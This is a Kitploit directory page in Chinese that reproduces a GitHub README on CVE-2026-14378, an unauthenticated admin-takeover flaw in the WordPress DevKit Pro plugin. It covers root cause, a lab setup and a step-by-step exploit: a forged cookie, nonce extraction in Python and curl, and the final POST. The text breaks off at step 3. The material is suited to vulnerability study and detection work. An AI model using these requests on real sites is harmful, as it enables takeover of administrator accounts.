Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-14378-DevKit-Pro-Auth-Bypass — 针对 CVE-2026-14378(WordPress DevKit Pro 插件 <= 2.3.0)的防御分析、补丁解析及检测扫描器。 | Kitploit
工具/GitHubGitHub/anoxhunterdump-ctrl/cve-2026-14378-devkit-pro-auth-bypass
防御工具漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试身份验证

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
anoxhunterdump-ctrl/cve-2026-14378-devkit-pro-auth-bypass

CVE-2026-14378-DevKit-Pro-Auth-Bypass

针对 CVE-2026-14378(WordPress DevKit Pro 插件 <= 2.3.0)的防御分析、补丁解析及检测扫描器。

查看仓库
1天前尚未审核

CVE-2026-14378 — WordPress DevKit Pro 插件中的未认证身份验证绕过

Severity: Critical Vulnerability: CWE-287 Affected: <= 2.3.0 Patched: 2.3.1 License: MIT


目录

  1. 执行摘要
  2. 漏洞剖析
  3. 根本原因与技术分析
  4. 完整攻击演练(分步指南)
    • 步骤 0:环境搭建
    • 步骤 1:确认插件已安装且存在漏洞
    • 步骤 2:触发 Nonce 泄露
    • 步骤 3:提交切换回退请求
    • 步骤 4:验证管理员访问权限
  5. 使用扫描器进行检测
    • 存在漏洞状态的输出
    • 已修补状态的输出
  6. 威胁建模 — 此漏洞如何被滥用
  7. 补丁差异分析
  8. 入侵指标(IoCs)
  9. 修复措施
  10. 扫描器使用方法
  11. 免责声明

执行摘要

CVE-2026-14378 是 WordPress DevKit Pro 插件中的一个严重未认证身份验证绕过漏洞(CVSS 9.8),影响所有版本直至并包括 2.3.0。

该插件包含一个开发者用户切换机制。当管理员“切换”到另一个用户账户时,它会将管理员的 ID 存储在一个名为 original_user_id 的 cookie 中。缺陷在于:只要该 cookie 存在,插件就会在任何页面上渲染一个“切换回来”的 HTML 表单——包括手动设置该 cookie 的未认证访问者。更糟糕的是,nonce 验证步骤检查的是cookie 用户的管理员权限,而非调用者的会话——因此服务器会欣然向任何发送正确 POST 请求的人发放一个已认证的管理员会话 cookie。

最终结果:无需任何凭据即可完全接管 WordPress 管理员账户。


漏洞剖析

属性详情
CVE IDCVE-2026-14378
漏洞类别身份验证不当(CWE-287)
CVSS v3.1 评分9.8(严重)
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
受影响软件DevKit Pro(dplugins)WordPress 插件
受影响版本<= 2.3.0
已修补版本2.3.1
披露日期2026 年 10 月 2 日

根本原因与技术分析

1. 用户切换功能的工作原理(正常流程)

DevKit Pro 包含一个开发者辅助功能,允许站点管理员“切换”到其他用户账户以测试权限。当管理员使用切换功能时:

  1. 插件将管理员的 ID 存储在 cookie 中:Set-Cookie: original_user_id=1
  2. 在后续页面加载时,插件检查 isset($_COOKIE['original_user_id'])
  3. 如果 cookie 存在,它会在 wp_footer() 中渲染一个“切换回来”工具栏,其中包含一个带有新 nonce 的隐藏 POST 表单
  4. 当管理员点击“切换回来”时,表单会 POST 到 admin-post.php?action=revert_switch
  5. 插件验证 nonce,然后调用 wp_set_auth_cookie($user_id) 以恢复原始会话

2. 存在漏洞的代码路径

wp_footer 钩子处理程序:

// DevKit Pro <= 2.3.0 — render_switch_back_bar()
public function render_switch_back_bar() {
    // FLAW: Only checks if cookie exists — no session validation!
    if ( isset( $_COOKIE['original_user_id'] ) ) {
        $user_id = (int) $_COOKIE['original_user_id'];
        $nonce   = wp_create_nonce( 'devkit_revert_switch_' . $user_id );
        echo '<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">';
        echo '  <form id="devkit-revert-form" action="' . admin_url('admin-post.php') . '" method="POST">';
        echo '    <input type="hidden" name="action" value="revert_switch" />';
        echo '    <input type="hidden" name="_wpnonce" value="' . $nonce . '" />';
        echo '    <input type="hidden" name="target_user_id" value="' . $user_id . '" />';
        echo '  </form>';
        echo '</div>';
        echo '<!-- DevKit Pro 2.3.0 Switch Component Active -->';
    }
}

处理表单提交的 POST 处理器:

// DevKit Pro <= 2.3.0 — handle_revert_switch()
public function handle_revert_switch() {
    $user_id = (int) $_POST['target_user_id'];
    $nonce   = sanitize_text_field( $_POST['_wpnonce'] );

    if ( ! $this->verify_nonce_and_capability( $user_id, $nonce ) ) {
        wp_die( 'Unauthorized' );
    }

    wp_set_current_user( $user_id );
    wp_set_auth_cookie( $user_id );        // <-- Grants authenticated session to caller
    wp_redirect( admin_url() );
    exit;
}

private function verify_nonce_and_capability( $user_id, $nonce ) {
    if ( ! wp_verify_nonce( $nonce, 'devkit_revert_switch_' . $user_id ) ) {
        return false;
    }
    // CRITICAL FLAW: Checks the cookie user's capability, not the caller's!
    return user_can( $user_id, 'manage_options' );
}

3. 为什么检查会失败

user_can( $user_id, 'manage_options' ) 回答的问题是:“用户 #1 是否拥有 manage_options 权限?”
对于用户 #1(第一个创建的 WordPress 管理员),答案始终是 true。

它应该问的是:“发起此 HTTP 请求的人是否拥有 manage_options 权限?”
正确的检查是 current_user_can('manage_options'),对于未认证的访问者,它会返回 false。


完整攻击演练(逐步)

整个演练过程均已执行并验证,针对的是运行在本地 Podman 容器(http://localhost:8080)中、启用了 DevKit Pro 2.3.0 的实时 WordPress 实例。

步骤 0:环境搭建

要在本地复现此问题,你需要:

  • Docker 或 Podman
  • WordPress(任意近期版本)
  • 已安装并激活的 DevKit Pro 插件版本 <= 2.3.0

快速 Podman 实验环境搭建:

# Start MariaDB
podman run -d --name wp-db \
  -e MYSQL_ROOT_PASSWORD=rootpass \
  -e MYSQL_DATABASE=wordpress \
  -e MYSQL_USER=wpuser \
  -e MYSQL_PASSWORD=wppass \
  mariadb:10.6

# Start WordPress
podman run -d --name wp-app \
  -p 8080:80 \
  --link wp-db:mysql \
  -e WORDPRESS_DB_HOST=mysql \
  -e WORDPRESS_DB_NAME=wordpress \
  -e WORDPRESS_DB_USER=wpuser \
  -e WORDPRESS_DB_PASSWORD=wppass \
  wordpress:latest

在 WordPress 初始化完成后(http://localhost:8080/wp-admin/install.php),通过插件菜单安装并激活 DevKit Pro 2.3.0。


步骤 1:确认插件已安装且存在漏洞

在发送任何攻击载荷之前,通过获取插件 readme 来确认插件是否存在并确定其版本:

请求:

GET /wp-content/plugins/devkit-pro/readme.txt HTTP/1.1
Host: localhost:8080

响应(HTTP 200):

=== DevKit Pro ===
Requires at least: 5.0
Tested up to: 6.8
Requires PHP: 7.4
Stable tag: 2.3.0
License: GPLv2 or later

版本 2.3.0 位于受影响范围 <= 2.3.0 内。继续。

如果服务器返回 HTTP 404,则说明该插件未安装或路径已更改——此目标不通过该向量受此漏洞影响。


步骤 2:触发 Nonce 泄露

向任意 WordPress 页面发送一个 GET 请求,并将 original_user_id cookie 设置为 1(初始管理员的用户 ID):

请求:

GET /wp-login.php HTTP/1.1
Host: localhost:8080
Cookie: original_user_id=1

你可以使用 curl:

curl -v -H "Cookie: original_user_id=1" http://localhost:8080/wp-login.php

或 Python(requests 库):

import requests

url    = "http://localhost:8080/wp-login.php"
cookie = {"original_user_id": "1"}

resp   = requests.get(url, cookies=cookie)
print(resp.text)

服务器返回的内容(实际 HTTP 响应正文摘录):

<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">
    <form id="devkit-revert-form" action="http://localhost:8080/wp-admin/admin-post.php" method="POST">
        <input type="hidden" name="action" value="revert_switch" />
        <input type="hidden" name="_wpnonce" value="756081f907" />
        <input type="hidden" name="target_user_id" value="1" />
    </form>
</div>
<!-- DevKit Pro 2.3.0 Switch Component Active -->

服务器已经:

  1. 接受了一个未经认证的请求作为“切换会话”
  2. 生成了一个全新的、有效的 WordPress nonce(756081f907)
  3. 将其嵌入到一个指向 admin-post.php?action=revert_switch 的隐藏表单中

从 _wpnonce 隐藏输入中提取 nonce 值——这是下一步的关键。

使用 Python 解析 nonce:

from bs4 import BeautifulSoup

soup  = BeautifulSoup(resp.text, "html.parser")
form  = soup.find("form", {"id": "devkit-revert-form"})
nonce = form.find("input", {"name": "_wpnonce"})["value"]
print(f"Leaked nonce: {nonce}")
# Output: Leaked nonce: 756081f907

步骤 3:提交 Revert-Switch 请求

现在将提取的 nonce 连同 action=revert_switch 和 target_user_id=1 一起 POST 到 admin-post 处理程序。

重要: handle_revert_switch() 函数在 POST 请求本身中也会读取 $_COOKIE['original_user_id'] —— 因此该 cookie 必须在 GET(步骤 2)和 POST(步骤 3) 中都发送。

请求:

POST /wp-admin/admin-post.php HTTP/1.1
Host: localhost:8080
Cookie: original_user_id=1
Content-Type: application/x-www-form-urlencoded

action=revert_switch&_wpnonce=<nonce_from_step2>&target_user_id=1
下载工具